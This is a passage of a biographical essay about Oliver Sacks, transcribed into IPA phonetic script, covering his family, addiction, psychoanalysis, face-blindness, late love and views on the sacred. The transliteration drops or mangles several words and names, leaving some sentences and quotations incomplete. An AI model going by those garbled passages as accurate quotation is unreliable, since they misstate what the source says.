ðət aɪ æm ə mæn əv maɪld ˌdɪspəˈzɪʃən. ɔn ðə ˈkɑntrɛri, aɪ æm ə mæn əv ˈviəmənt ˌdɪspəˈzɪʃən, ənd ɪkˈstrim ɪn ɔl maɪ ˈpæʃənz." wɑz nɑt ðə ˈoʊnli ˈægəni frəm hɪz juθ. wɪn hi wɑz 18 ˈɑlɪvər, kˈwɛsʧənd baɪ hɪz ˈfɑðər, ækˈnɑlɪʤd ðət hi hæd ˈsɛkʃuəl ˈfilɪŋz fər bɔɪz. "doʊnt tɛl mɑ," ˈɑlɪvər sɛd, "ʃi woʊnt bi ˈeɪbəl tɪ teɪk ɪt." hɪz ˈfɑðər dɪd tɛl hər, ðoʊ, ənd wɪn ʃi sɔ ˈɑlɪvər, ʃi sɛd, "ju ər ən əˌbɑməˈneɪʃən. aɪ wɪʃ ju hæd ˈnɛvər bɪn bɔrn." ɪt wɑz ˈnɛvər dɪˈskəst əˈgɛn. hi ˈleɪtər roʊt, "maɪ ˈməðər, soʊ ˈoʊpən ənd səˈpɔrtɪv ɪn moʊst weɪz, wɑz hɑrʃ ənd ˌɪnˈflɛksəbəl ɪn ðɪs ˈɛriə." ɪt wɑz, ˈprɑbəˌbli, ɔl ðə mɔr ˈægənaɪzɪŋ bɪˈkəz hɪz riˈleɪʃənˌʃɪp wɪθ hər rɪˈmeɪnd, ənˈtɪl ʃi daɪd, hɪz moʊst ˌɪmˈpɔrtənt. ɛz hi roʊt ɪn ɔn ðə muv, "maɪ ˈməðərz dɛθ wɑz ðə moʊst ˈdɛvəˌsteɪtɪŋ lɔs əv maɪ laɪf ðə lɔs əv ðə ˈdipəst ənd pərˈhæps, ɪn səm sɛns, ðə riˈleɪʃən əv maɪ laɪf." ˈəltəmətli, hi wɑz fərˈgɪvɪŋ. "wi ər ɔl ˈkriʧərz əv ɑr upbringings*, ɑr ˈkəlʧərz, ɑr taɪmz. ənd aɪ hæv ˈnidɪd tɪ riˈmaɪnd ˌmaɪˈsɛlf, rɪˈpitɪdli, ðət maɪ ˈməðər wɑz bɔrn ɪn ðə 1890s*, ənd hæd ən ˈɔrθəˌdɑks ˈəpˌbrɪŋɪŋ ənd ðət ɪn ˈɪŋglənd ɪn ðə ˌhoʊmoʊˈsɛkʃuəl bɪˈheɪvjər wɑz ˈtritɪd nɑt ˈoʊnli ɛz ə pərˈvərʒən bət ɛz ə ˈkrɪmənəl offence*." tɔrn baɪ kənˈflɪktɪd ˈfilɪŋz, ˈɑlɪvər hæd tɪ lɛd ə ˈfərtɪv roʊˈmæntɪk laɪf θru hɪz 20s*, wɪn hi hæd ˈsɛvərəl ləv əˈfɛrz. ˈɑlɪvər sæks wɪθ hɪz nu ˈnɔrtən ˈmoʊtərˌbaɪk ɪn 1956 ˈɑlɪvər bɪˈkeɪm ə ˌkɑmbəˈneɪʃən əv ən ˌɪnəˈlɛkʧuəl ənd ə ˈrɛnəˌgeɪd. hi ˈstədid ˈmɛdəsən ɪn ˈbrɪtən ənd ðɛn meɪd hɪz weɪ tɪ nɔrθ əˈmɛrɪkə, ˈkrɪˌskrɔsɪŋ ðə ˈkɑntənənt ɔn ə ˈmoʊtərˌsaɪkəl, ənd ˈgɪtɪŋ ˈɪntu səm ˈdeɪnʤərəs ˈæksədənts. hi ˈbrifli spɛnt səm taɪm ˈhæŋɪŋ aʊt wɪθ ˈeɪnʤəlz, baɪkt əˈkrɔs ˈkænədə, ənd traɪd tɪ saɪn əp ɛz ə ˈpaɪlət wɪθ ðə rɔɪəl kəˈneɪdiən ɛr fɔrs. hi ˈleɪtər muvd tɪ ˌkæləˈfɔrnjə, wɛr hi sɛt ə ˈweɪˌtlɪftɪŋ ˈrɛkərd, ənd ˈɔlsoʊ bɪˈgæn ə ˈmɛdɪkəl ˈrɛzɪdənsi ɪn nʊˈrɑləʤi. æt ðə ɛnd əv wərk ɔn ˈfraɪˌdeɪ, hid ɪksˈʧeɪnʤ hɪz waɪt koʊt fər ˈlɛðərz, ənd ðə "wʊlf" (hɪz ˈmɪdəl neɪm) wʊd kəm aʊt, ˈwɑnɪŋ spid, ədˈvɛnʧər, rɪsk ənd ˈnɑvəlti, ənd hid raɪd hɪz ˈmoʊtərˌsaɪkəl, ˈsəmˌtaɪmz ɔl naɪt, tɪ ðə grænd ˈkænjən, tɪ kæʧ ðə ˈsənˌraɪz. hid raɪd bæk ɔl ˈsənˌdi naɪt, fər ˈmɛdɪkəl raʊnz ˈmənˌdeɪ ˈmɔrnɪŋ. ərˈaɪvɪŋ ɪn ðə juˈnaɪtɪd steɪts, ɪn ðə 1960s*, hɪz dip ˈɪntəˌrɛst ɪn boʊθ ˈkɛmɪstri ənd ðə maɪnd dru ɪm tɪ traɪ ˈmɛni ˈdɪfərənt kaɪnz əv drəgz. ˈmɛni əv hɪz ˈweɪˌtlɪftɪŋ frɛndz juzd spid ənd hi dɪd, tu. ˈdraɪvɪŋ hɪz juz wɑz dip ˈiˌmoʊʃənəl dɪˈstrɛs: hɪz drəg juz ˈɛskəˌleɪtɪd ˈæftər ə saʊərd ləv əˈfɛr. "aɪ kreɪvd səm ˈdipər kəˈnɛkʃən 'ˈminɪŋ' ɪn maɪ laɪf, ənd ɪt wɑz ðə ˈæbsəns əv ðɪs, aɪ θɪŋk, ðət dru mi ˈɪntu əˈdɪkʃən tɪ æmˈfɛtəˌminz baɪ ðɪs pɔɪnt ˈmɛni əv ˈdɑktər. frɛndz hæd daɪd ɔn æmˈfɛtəˌminz. hi wɑz, ˈɔfən, "half-psychotic*" ənd ɪˈmeɪʃiˌeɪtɪd. wən nu jɪrz iv, haɪ ɔn ðə drəg, hi hæd ə ˈlusɪd ˈmoʊmənt: "ˈɑlɪvər, ju wɪl nɑt si əˈnəðər nu jɪrz deɪ, ənˈlɛs ju gɪt hɛlp." ˈdɑktər. sæks ˈstɑrtɪd ˌəndərˈgoʊɪŋ ˌsaɪkoʊəˈnælɪsɪs ɪn 1966 "noʊɪŋ aɪ wʊd nɑt sərˈvaɪv wɪˈθaʊt hɛlp." stoʊnd məʧ əv ðə taɪm, hi ˈriəˌlaɪzd ˈdɑktər. ˈlɛnərd, hɪz ˈænəlɪst, kʊd boʊθ pɪrs hɪz defences*, ənd "nɑt bi dɪˈflɛktɪd baɪ maɪ glibness*." ˈdɑktər. gɑt ɪm ɔf drəgz, soʊ ðə ril ˌænəˈlɪtɪk wərk kʊd bɪˈgɪn, ənd tɔt ɪm "əˈbaʊt peɪɪŋ əˈtɛnʃən, ˈlɪsənɪŋ, tɪ wət laɪz bɪɔnd ˈkɑnʃəsnəs ər wərdz." ˈdɑktər. sæks roʊt əv hɪz æˈnælɪsɪs, "aɪ θɪŋk ɪt seɪvd maɪ laɪf ˈmɛni taɪmz ˈoʊvər." vərˈbeɪtəm: ˈɑlɪvər sæks ɔn hɪz ɪkˈspɪriəns wɪθ drəg juz wən əv ðə moʊst rɪˈmɑrkəbəl θɪŋz əˈbaʊt ˈɑlɪvər ɪz ðət, ðoʊ hi ɪz noʊn ɛz səʧ ə ˈdipli ˈsɛnsɪtɪv ˈraɪtər ənd ˈpərsən, ɪt wɑz nɑt ˈɔlˌweɪz soʊ. əˈməŋ hɪz frɛndz wɑz poʊət tɑm gən; ðeɪ ˈɔfən ɪksˈʧeɪnʤd ˈmænjəˌskrɪpts. ˈæftər ˈpreɪzɪŋ ə dræft əv, ˈmɪstər. gən fɛlt hi kʊd naʊ rɪˈvil hɪz tru ˈfilɪŋz əˈbaʊt ˈdɑktər. ˈərli ˈdaɪəri ˈraɪtɪŋz, ənd roʊt tɪ ɪm: "aɪ faʊnd ju soʊ ˈtæləntɪd, bət soʊ dɪˈfɪʃənt ɪn wən kˈwɑləti ʤɪst ðə moʊst ˌɪmˈpɔrtənt kˈwɑləti kɔl ɪt juˈmænɪti, ər ˈsɪmpəθi, ər ˈsəmθɪŋ laɪk ðət. ənd, ˈfræŋkli, aɪ dɪˈspɛrd əv jʊr ˈɛvər bɪˈkəmɪŋ ə gʊd ˈraɪtər, bɪˈkəz aɪ ˈdɪdənt si haʊ wən kʊd bi tɔt səʧ ə kˈwɑləti. jʊr dɪˈfɪʃənsi əv ˈɛmpəθi meɪd fər ə ˌlɪmɪˈteɪʃən əv jʊr ˌɑbzərˈveɪʃən. wət wɑz dɪˈfɪʃənt ɪn ðiz ˈraɪtɪŋz ɪz naʊ ðə səˈprim ˈɔrgəˌnaɪzər əv aɪ ˈwəndər ɪf ju noʊ wət ˈhæpənd." hi hæd ˈlərnɪd tɪ ˈɛmpəˌθaɪz. ˈdɑktər. sæks wɑz θrɪld baɪ ðə ˈlɛtər, ənd spɛnt ə lɔŋ taɪm ˈpɑndərɪŋ haʊ hi hæd ʧeɪnʤd. wɑz ɪt ðət hi hæd ˈfɑlən ɪn ənd aʊt əv ləv? wɑz ɪt hɪz əˈtæʧmənt tɪ hɪz ˈpeɪʃənz? ər ə drəg ɪkˈspɪriəns ðət ˈoʊpənd ɪm əp tɪ greɪt ˈɛmpəθi? hi kənˈkludɪd ðət "ˌsaɪkoʊəˈnælɪsɪs hæd pleɪd ə ˈkruʃəl roʊl ɪn əˈlaʊɪŋ mi tɪ dɪˈvɛləp." ˈpipəl ɪn æˈnælɪsɪs ˈfrikwɛntli du dɪˈvɛləp mɔr ˈɛmpəθi fər ˈəðərz, baɪ ˈsɛvərəl sərˈkjuɪtəs rʊts. moʊst ˈkɑmənli, ðeɪ lərn wɪʧ əv ðɛr oʊn dɪˈsoʊnd, riˈpjudiˌeɪtəd ər riˈprɛst ˈfilɪŋz ðeɪ ruˈtinli ˈprɑʤɛkt ˈɔntu ˈəðərz. wəns ðiz prɑˈʤɛkʃənz ər klɪrd əˈweɪ, ðeɪ kən ˈæˌkʧuəli teɪk ə fɑr ˈbɛtər lʊk æt ˈəðərz, ənd dɪˈtərmən wət ðeɪ meɪ bi ˈfilɪŋ. ɛz wɛl, ˈpipəl hu hæv ˌəndərˈgɔn ˈlɔŋˈtərm, səˈvɪr ˈtrɔməz sərˈvaɪv ðɛm baɪ ˈkətɪŋ ɔf ðɛr oʊn ˈfilɪŋz ðɛm, ənd bɪˈkəmɪŋ nəmd ər baɪ fərˈgɛtɪŋ. wən θɪŋ ˈdɑktər. sæks əˈnərθt ˈdʊrɪŋ hɪz æˈnælɪsɪs, fər ˈɪnstəns: hɪz ˈpɛrənts dɪd ˈvɪzɪt ɪm æt, ðoʊ hi hæd noʊ ˈmɛməriz əv ɪt. ˈdɑktər. sæks hæd əˈnəðər ənˈjuˌʒuəl ˈprɑbləm, wən ðət hi bɪˈlivd hɪz ˈʃaɪnəs, bət ðət meɪ wɛl hæv əˈfɛktɪd hɪz əˈbɪləˌti tɪ ˈɛmpəˌθaɪz: ə rɛr ˌnʊrəˈlɑʤɪkəl kənˈdɪʃən kɔld "face-blindness*" (ˈtɛknɪkəli, kənˈʤɛnətəl prosopagnosia*). ɪt mɛnt ðət ðə ˈprɑˌsɛsər ɪn hɪz breɪn ðət ˈnɔrməli ˈænəˌlaɪzɪz ˈdɪfərənsɪz bɪtˈwin ˈfeɪsɪz ˈnɛvər dɪˈvɛləpt ˈprɑpərli. θruaʊt hɪz laɪf, hi kʊd nɑt ˈrɛkəgˌnaɪz əkˈweɪntənsɪz ər frɛndz. ˈdɑktər. wɑz proʊˈfaʊnd. wəns, hi əˈpɑləˌʤaɪzd fər ˈbəmpɪŋ ˈɪntu ə lɑrʤ, ˈbɪrdəd mæn, ˈoʊnli tɪ ˈrɛkəgˌnaɪz ðət ðə mæn wɑz hɪmˈsɛlf ɪn ə ˈmɪrər. əˈnəðər taɪm, hi bɪˈgæn ˈprinɪŋ hɪmˈsɛlf ɪn frənt əv ə ˈmɪrər, ˈoʊnli tɪ ˈriəˌlaɪz ðət ðə ˈbɪrdəd rɪˈflɛkʃən hi wɑz ˈstɛrɪŋ æt ˈwəzənt ə ˈmɪrər ˈɪmɪʤ æt ɔl, bət əˈnəðər, naʊ ˈrəðər kənfˈjuzd mæn. æt taɪmz hi mɪsɪnˈtərprətɪd ˈfeɪʃəl ɪkˈsprɛʃənz ənd ˈʤɛsʧərz, ˈsəmˌtaɪmz endearingly*. wəns, wɪn hi wɑz ˈlɛkʧərɪŋ tu lɔŋ, mɪz. ˈɛdgər, frəm ðə wɪŋz, rɪˈpitɪdli dru hər ˈfɪŋgər əˈkrɔs hər θroʊt. hi θɔt ʃi wɑz ˈsɪgnəlɪŋ tɪ ɪm ðət hər ʧɪn wɑz ˈblidɪŋ. ˈʧɪldrən lərn tɪ ˈɛmpəˌθaɪz ɪn lɑrʤ pɑrt baɪ ˈrɛkəgˌnaɪzɪŋ ðə ˈfeɪʃəl ɪkˈsprɛʃənz əv ˈəðərz. tu ˈɛriəz əv ðə breɪn, ˈsərkəts (wɪʧ hæv strɔŋ taɪz tɪ ðə ˈiˌmoʊʃənəl ˈprɑˌsɛsərz əv ðə breɪn) ənd ðə breɪnz ˈsərkətri, əˈlaʊ ˈjuˈɛs tɪ rɛd ˈpipəlz ɪkˈsprɛʃənz, ənd hɛns ðɛr ˈɪˌmoʊʃənz, ənd ˈivɪn tɪ ˌəndərˈstænd ənd kənˈtroʊl ɑr oʊn ˈɪˌmoʊʃənz. wi naʊ noʊ ðət, wɪθ ˈvɛriəs ˈtɑrgətɪd breɪn ˈɛksərˌsaɪzɪz, ðiz ˈɛriəz, ɪf ˈkɑmprəˌmaɪzd, kən ˈsəmˌtaɪmz bi dɪˈvɛləpt wɪθ ˌɪnkrəˈmɛntəl ˈɛksərˌsaɪz. aɪ ˈwəndər ˈwɛðər meɪ wɛl hæv kənˈtrɪbjutɪd nɑt ˈoʊnli tɪ hɪz ˈʃaɪnəs, bət tɪ ðə læk əv ˈɛmpəθi ðət ɪgˈzɪstəd ɪn hɪz ˈərliər laɪf. ˈɛdət ˈvɪdioʊ vərˈbeɪtəm: ˈɑlɪvər sæks ɔn ˈdɑktər. sæks, fər ˈrizənz hi dɪz nɑt ɪkˈspleɪn ɪn hɪz ˈmɛmˌwɑr, rɪˈmeɪnd ˈsɛlɪbət fər ˈoʊvər θri ˈdɛkeɪdz. bət wɪn hi wɑz 75 jɪrz oʊld, hi raɪts, "aɪ mɛt ˈsəmˌwən aɪ laɪkt. ˈtɪmɪd ənd ˌɪnˈhɪbətɪd ɔl maɪ laɪf, aɪ lɛt ə ˈfrɛndʃɪp ənd ˈɪntəməsi groʊ bɪtˈwin ˈjuˈɛs, pərˈhæps wɪˈθaʊt ˈfʊli ˈriəˌlaɪzɪŋ ɪts dɛpθ." hi ənd ðə ˈraɪtər ˈbɪli heɪz fɛl ɪn ləv. ðə riˈleɪʃənˌʃɪp wɑz ɪn fʊl blum wɪn ˈɑlɪvər wɑz 77 ə rɪˈdɛmtɪv gɪft əv oʊld eɪʤ. "ɪt həz ˈsəmˌtaɪmz simd tɪ mi ðət aɪ hæv lɪvd æt ə ˈsərtən ˈdɪstəns frəm laɪf. ðɪs ʧeɪnʤd wɪn ˈbɪli ənd aɪ fɛl ɪn ləv. ˈhæbəts əv ə ˈlaɪfˌtaɪmz ˈsɑləˌtud, ənd ə sɔrt əv ˌɪmˈplɪsət ˈsɛlfɪʃnəs ənd sɛlf- əbˈzɔrpʃən, hæd tɪ ʧeɪnʤ." əˈnəðər gɪft əv oʊld eɪʤ wɑz ə fɔrm əv ˈhilɪŋ wɪθ hɪz ˈfæməli. ðoʊ ˈdɑktər. sæks hæd ˈmɛni ˈfæməli ˈmɛmbərz ɪn ˈɪzriəl, hu flɛd ðɛr ˈæftər ðə ˈsɛkənd wərld wɔr (hɪz ˈkəzən ˈæbə ˈɛbən wɑz ˈɪzriəlz ˈɛləkwənt ˈdɛpjəti praɪm ˈmɪnɪstər ɪn ðə mid-sixties*), hi hæd nɑt ˈvɪzɪtɪd sɪns hi wɑz 22 ˈɑlɪvər hæd lɔŋ fɛlt hi wʊd bi ənˈkəmfərtəbəl ɪn ə ˈdipli rɪˈlɪʤəs soʊˈsaɪɪti. ɪn ən ˈɪntərvˌju, hi hæd wəns dɪˈskraɪbd hɪmˈsɛlf ɛz "ən oʊld ʤuɪʃ ˈeɪθiəst," ə ˈtɛlɪŋ freɪz, bɪˈkəz wən wʊd θɪŋk ðət biɪŋ ən ˈeɪθiəst wʊd dɪskˈwɑləˌfaɪ wən frəm aɪˈdɛntəˌfaɪɪŋ wɪθ wənz ərˈɪʤənəl rɪˈlɪʤən. bət wɪθ ˈdɑktər. sæks, truθ leɪ ɪn ðə ˌpɑˈtɪkjələr, ðə hɪˈstɔrɪkəl ənd ðə ˌɛvəˈluʃəˌnɛri. ɪn 2014 hi ˈfaɪnəli rɪˈtərnd tɪ ˈɪzriəl, tɪ mɑrk ðə ˈhəndrədθ ˈbərθˌdeɪ əv ə ˈrɛlətɪv. waɪl ðɛr, hi ˈvɪzɪtɪd hɪz ˈkəzən ˈrɑbərt ʤɑn ˈɔmən, wɪθ hum hi hæd bɪˈkəm kloʊz ɪn ðə 1990s*. ˈdɑktər. ˈɔmən wɑz ə ˈpaʊərfəl, æθˈlɛtɪk mæn əv greɪt wɔrmθ ənd hæd ə juʤ waɪt bɪrd ðət meɪd ɪm "lʊk laɪk ən ˈeɪnʧənt seɪʤ." ə ˌmæθəməˈtɪʃən ənd rationalist*, hi hæd wən ðə noʊˈbɛl praɪz ɪn ˌɛkəˈnɑmɪks. hi wɑz ˈɔlsoʊ ən ˈɔrθəˌdɑks ʤu, ənd wʊd teɪk hɪz ˈɔlˌmoʊst 30 ˈʧɪldrən ənd ˈgrænˌʧɪldrən skiɪŋ æt wəns, ˈpækɪŋ ˈkoʊʃər pleɪts fər ðɛm ɔl. hi ləvd tɪ ˈʧæmpiən ðə pis, ˈbjuti, ənd wət ˈdɑktər. ˈdɑktər. sæks dɪˈskraɪbd ɛz ɪts "riˈmoʊtnəs frəm kənˈsərnz." "aɪ hæd fɛlt ə ˈlɪtəl ˈfɪrfəl ˈvɪzɪtɪŋ maɪ ˈɔrθəˌdɑks ˈfæməli wɪθ maɪ ˈləvər, ˈbɪli maɪ ˈməðərz wərdz stɪl ˈɛkoʊd ɪn maɪ maɪnd bət ˈbɪli, tu, wɑz ˈwɔrmli rɪˈsivd," ˈdɑktər. sæks roʊt. "haʊ proʊˈfaʊndli ˈætəˌtudz hæd ʧeɪnʤd, ˈivɪn əˈməŋ ðə ˈɔrθəˌdɑks, wɑz meɪd klɪr baɪ ˈrɑbərt ʤɑn wɪn hi ˌɪnˈvaɪtɪd ˈbɪli ənd mi tɪ ʤɔɪn ɪm ənd hɪz ˈfæməli æt ðɛr ˈoʊpənɪŋ ˈsæbəθ mil." ˈdɑktər. sæks kənˈtɪnjud: "ðə pis əv ðə ˈsæbəθ, əv ə stɑpt wərld, ə taɪm ˈaʊtˈsaɪd taɪm, wɑz ˈpælpəbəl, ˌɪnfˈjuzd ˈɛvriˌθɪŋ, ənd aɪ faʊnd ˌmaɪˈsɛlf drɛnʧt wɪθ ə ˈwɪstfəlnəs, ˈsəmθɪŋ ˈeɪkɪn tɪ nɔˈstælʤə, ˈwəndərɪŋ wət ɪf: wət ɪf ə ənd bi ənd si hæd bɪn ˈdɪfərənt? wət sɔrt əv ˈpərsən maɪt aɪ hæv bɪn? wət sɔrt əv laɪf maɪt aɪ hæv lɪvd?" ˈʃɔrtli ˈæftər ðət, hi kəmˈplitɪd hɪz ˈmɛmˌwɑr, ɔn ðə muv, glæd hi hæd bɪn ˈeɪbəl "fər ðə fərst taɪm ɪn maɪ laɪf, tɪ meɪk ə fʊl ənd fræŋk ˌdɛklərˈeɪʃən əv maɪ ˌsɛkʃuˈæləti, ˈfeɪsɪŋ ðə wərld ˈoʊpənli, wɪθ noʊ mɔr ˈgɪlti ˈsikrɪts lɑkt əp ˌɪnˈsaɪd mi." æt blu ˈmaʊntən ˈsɛnər, 2010 ðə ɑrt əv daɪɪŋ ɪz nɑt ˈlərnɪd ɔn ðə ˈdɛθˌbɛd. ðiz θɪŋz, ɪn ˈɑlɪvər sæks, ɪt simz tɪ mi, ər ɔl əv ə pis: hɪz ləv, sɪns hi wɑz ə bɔɪ, əv ðə kloʊz ˈstədi əv pərˈtɪkjələrz ɪn ˈneɪʧər; hɪz ˈʤɔɪfəl ˈwəndər, ənd ˌɪnˈseɪʃəbəl ˌkjʊriˈɑsəti; hɪz ˌfæsəˈneɪʃən fər ðə ˈɔrɪnʤ ənd ˈɪndɪˌgoʊ, fər cephalopods*, ˈsaɪkædz, ˈmɛtəlz ənd ˈkɛmɪkəlz, ˈnəmbərz, fərnz, ənd ˈrædɪʃɪz, ˌɪnˈvərtəˌbreɪts, ɔl kaɪnz əv breɪnz; hɪz əˈbɪləˌti tɪ si ɪn ˈdɛstəˌtut ˈpeɪʃənz wɪθ bɪˈzɑr, ɑd, ənˈkæni, ˈprɑbləmz, ðɛr fʊl juˈmænɪti; hɪz ˌʤɛnərˈɑsəti tɪ ˈəðər, ˈjəŋgər ˈɔθərz ənd ˈsaɪəntɪsts; hɪz əˈbɪləˌti tɪ bɪˈgɪn tɪ ləv leɪt ɪn laɪf, ənd fərˈgɪv ðoʊz hi hæd lɔŋ ləvd; ənd ðə ˈgrætəˌtud, ənd sərˈɛnəti, ðət hi wɑz ˈeɪbəl tɪ ɪkˈsprɛs, ˈivɪn ɛz hi wɑz daɪɪŋ. ðeɪ ər ɔl ˌmænəfɛˈsteɪʃənz əv ðə əˈpriʃjətɪv sɛns. ˈgrætəˌtud ɪz ən ˈæˌlɔɪ: pɑrt ˈætəˌtud, pɑrt ˈfilɪŋ. ɪt ɪz ə ˌfɪləˈsɑfɪkəl ˈiˌmoʊʃən, ðə ˈprɑdəkt əv ˈteɪkɪŋ stɑk. wɪn ˈsəmˌwən gɪvz ˈjuˈɛs ˈsəmθɪŋ ənd wi ər əˈpriʃjətɪv, wi ər ˈgreɪtfəl fər ɪt, bət ˈɔlsoʊ fər ɑr riˈleɪʃənˌʃɪp wɪθ ðɛm. ðɛr ɪz ˈɔlsoʊ səm hjuˈmɪlɪti ɪn biɪŋ ˈtruli ˈgreɪtfəl. ɪn ɪkˈsprɛsɪŋ ɑr θæŋks, wi ækˈnɑlɪʤ ɑr incompleteness*, baɪ ɪkˈsprɛsɪŋ ɑr dɛt tɪ ɑr ˈbɛnəˌfæktər. bət tɪ hum ər wət dɪz ðə ˈeɪθiəst, ɪf hi filz ˈθæŋkfəl fər hɪz laɪf ɛz ə hoʊl, fil ˈgreɪtfəl? ðɪs ɪz nɑt ˈizi tɪ ˈænsər, ɪf wən bɪˈlivz ðət ɑr lɪvz ər ə ˈprɑdəkt əv ʧæns, ənd ˈmɑləˌkjulz ɪn ˈmoʊʃən. ˈsəmˌhaʊ, ˈdɑktər. sæks simz ˈnɛvər tɪ hæv bɪˈlivd ðət ðə ˈrændəm ˈpɪkʧər ðət ɑr saɪəns, ɪn ɪts ˈkɑrənt fɔrm, peɪnts əv ðə wərld, nid gɪv raɪz tɪ ə dɪsɪnˈʧænɪd, ˈpɪkʧər əv laɪf ɛz proʊˈfeɪn. aɪ wɑz wəns strək baɪ ən ˌɪŋkɔŋˈruɪti ˈrɛdɪŋ hɪz dɪˈskrɪpʃən əv ə trɪp tɪ ðə ˌɛrɪˈzoʊnə ˈdɛzərt wɪθ ðə ɔˈtɪstɪk ˈɑrtɪst ˈstivən ˈwɪˌlʧaɪr. ðeɪ hæd spɛnt ən ˌæftərˈnun ɪn ðə ˈkænjən də chelly*, wɪθ ə ˈnɑvəˌhoʊ ˈɑrtɪst hu ʃoʊd ðɛm "ə ˈspɛʃəl ˈseɪkrɪd ˈvæntɪʤ pɔɪnt" frəm wɪʧ tɪ drɔ. boʊθ bɪˈgæn drɔɪŋ, waɪl ðə ˈnɑvəˌhoʊ ˈɑrtɪst toʊld ˈmɪstər. ˈwɪˌlʧaɪr ɔl ðə mɪθs əv ðət pleɪs. bət "ˈstivən wɑz ˌɪnˈdɪfərənt tɪ ɔl ðɪs," roʊt ˈdɑktər. sæks. jɛt wɪn ðeɪ wər dən, ˈmɪstər. drɔɪŋ wɑz fɑr ˈbɛtər, ənd "simd (ˈivɪn tɪ ðə ˈnɑvəˌhoʊ ˈɑrtɪst) tɪ kəmˈjunəˌkeɪt ðə streɪnʤ ˈmɪstəri ənd ˈseɪkrɪdnɪs əv ðə pleɪs. ˈstivən hɪmˈsɛlf simz ˈɔlˌmoʊst dɪˈvɔɪd əv ˈɛni ˈspɪrɪˌʧuəl ˈfilɪŋ; ˌnənðəˈlɛs hi hæd kɔt ðə ˈfɪzɪkəl ɪkˈsprɛʃən əv wət wi, ðə rɛst əv ˈjuˈɛs, kɔl ðə 'ˈseɪkrɪd.' ˈdɑktər. sæks kʊd hæv ˈrɪtən ðət ˈmɪstər. ˈwɪˌlʧaɪr hæd ˈkæpʧərd ðə "ˈbjuti," ər wət wɑz "ˈprɛʃəs" ɪn ðə sin, ər ˈivɪn ɪts "ˈwəndrəs," ər "mɪˈstɪriəs," "awe-inspiring*" ˈneɪʧər. bət hi ˌɪnˈsɪstɪd hi kɔt ðə ˈseɪkrɪdnɪs əv ɪt, ə rɪˈlɪʤəs ˈkætəˌgɔri ɪf ˈɛvər ðɛr wɑz wən. ðɪs ˈpɛrəˌdɑks ðə dɪˈpɪkʃən əv ə ˈseɪkrɪd wərld, waɪl ˈfilɪŋ ˌwənˈsɛlf dɪˈvɔɪd əv ˈspɪrɪˌʧuəl ˈfilɪŋ ər kənˈvɪkʃən meɪ wɛl hæv əˈplaɪd tɪ ˈdɑktər. sæks hɪmˈsɛlf, ənd ˌɪnˈdid meɪ əˈplaɪ tɪ ˈmɛni əv ˈjuˈɛs. wi wɔnt tɪ bɪˈliv ðət ðə ˈplænət, laɪf, ˈneɪʧər, ɑr ləvd wənz ər ˈseɪkrɪd, bət æt ðə seɪm taɪm wi du nɑt əkˈsɛpt ðə ˈmɪstɪkəl ˈprɛməsəz əv riˈlɪʤənz, wɪʧ ər ðə ˈsɔrsəz əv aɪˈdiəz əv ðə ˈseɪkrɪd. ˈrænˌsæk ðə ˈθɪriz əv ˈmɑdərn saɪəns, ənd ju wɪl faɪnd ˈmɛni ˈkætəˌgɔriz, bət ðə dɪˈstɪŋkʃən wɪl nɑt bi əˈməŋ ðɛm. ðə ˈjunəˌvərs, wi ər toʊld, ɪz kəmˈpoʊzd əv ˈmætər ɪn ˈpərpəsləs ˈmoʊʃən, ˈgəvərnd ɪn lɑrʤ pɑrt baɪ ʧæns. ðə aɪˈdiə ðət laɪf həz ə dɪˈzaɪn, ənd ˈɔrgəˌnɪzəmz ə teleology*, ər ɛnd, bɪˈkeɪm ˈsəˌspɛkt, əv kɔrs, wɪθ ˈdɑktər. ˈhɪroʊ, ˈʧɑrəlz ˈdɑrwɪn. ˌɛvəˈluʃən ɪz ˌɑpərˌtuˈnɪstɪk, ənd ˈimərʤɪz frəm ə ˈsɪriz əv ˈkɛmɪkəl ˈæksədənts prəˈdusɪŋ ˈrændəm mjuˈteɪʃənz; ɪt ɪz nɑt təˈwɔrd səm ɛnd, ɛz wɑz bɪˈlivd baɪ ˈɛrəˌstɑtəl, saɪəns, ənd əv kɔrs ˈmɛni riˈlɪʤənz. jɛt ˈmɛni əv ˈjuˈɛs lɪv wɪθ ðə tu, wɪθ ðə ˌsaɪənˈtɪfɪk ənd ðə ˈseɪkrɪd, boʊθ æt wəns. ənd pərˈhæps wən əv ðə ˈrizənz ˈdɑktər. wərk həz səʧ ə strɔŋ əˈpil ɪz ðət, dɪˈspaɪt hɪz biɪŋ ə ˈʧæmpiən əv ˈmɑdərn saɪəns, hi əˈproʊʧt hɪz ˈpeɪʃənz' lɪvz, laɪf ənd ˈneɪʧər wɪθ ə ˈrɛvərəns ðət trits ðɛm ɛz ˈɔlˌmoʊst ˈseɪkrɪd, ənd ðɪs əˈpilz ˌpɑrˈtɪkjələrli tɪ ðoʊz əv ə ˈmɑdərn, ˈsɛkjələr kæst əv maɪnd. ɪt əˈpilz, prɪˈsaɪsli bɪˈkəz ðə ˈprɛmɪs ðət wi ər ˈnəθɪŋ bət ˈmɑləˌkjulz ɪn ˈrændəm ˈmoʊʃən soʊ ðə ˈjunəˌvərs fər ˈjuˈɛs, ənd livz ˈjuˈɛs ˈfilɪŋ ˈlɔŋɪŋ fər mɔr. ɪt ɪz ə dɪsɪnˈʧæntmənt ðət ɪz hɑrd fər ˈivɪn ðə ˈhɑrˌdhɛdɪd ˈsaɪəntɪst tɪ ˈtɑlərˌeɪt; wi prɪˈfər ɑr ˈnaɪəˌlɪzəm wɪˈθaʊt tu dip ən əˈbɪs. ɪt ɪz nɑt ɪˈnəf tɪ ˈwəndər əˈbaʊt ðə ˈmɪstəri; wi meɪk ɪt ˈseɪkrɪd, tu. ənd wi lɔŋ fər ˈθɪŋkərz laɪk ˈdɑktər. sæks, hu riˈmaɪnd ˈjuˈɛs ðət saɪəns ɪz əˈbaʊt ˈwəndər, ənd hu, baɪ soʊ duɪŋ, hɪnt ðət pərˈhæps ðə aɪˈdiə ðət wi ər ˈmɪrli ˈmætər ɪn ˈmoʊʃən ɪz ʤɪst pɑrt əv ðə ˈstɔri, bət nɑt ðə hoʊl ˈstɔri. hɪz ˈɛmfəsɪs ɔn ˈwəndər riˈmaɪndz ˈjuˈɛs ðət saɪəns ɪz əˈbaʊt ˈoʊpənɪŋ, nɑt ʤɪst ˈkloʊzɪŋ, kˈwɛsʧənz. waɪ ɪz ˈgrætəˌtud əv səʧ greɪt ˈmægnəˌtud soʊ rɛr? pərˈhæps bɪˈkəz ˈgrætəˌtud dɪz nɑt ˈɔlˌweɪz goʊ ˌənəˈpoʊzd. hæv ˈɔfən sin ˈgrætəˌtud ɛz ˈhævɪŋ ən 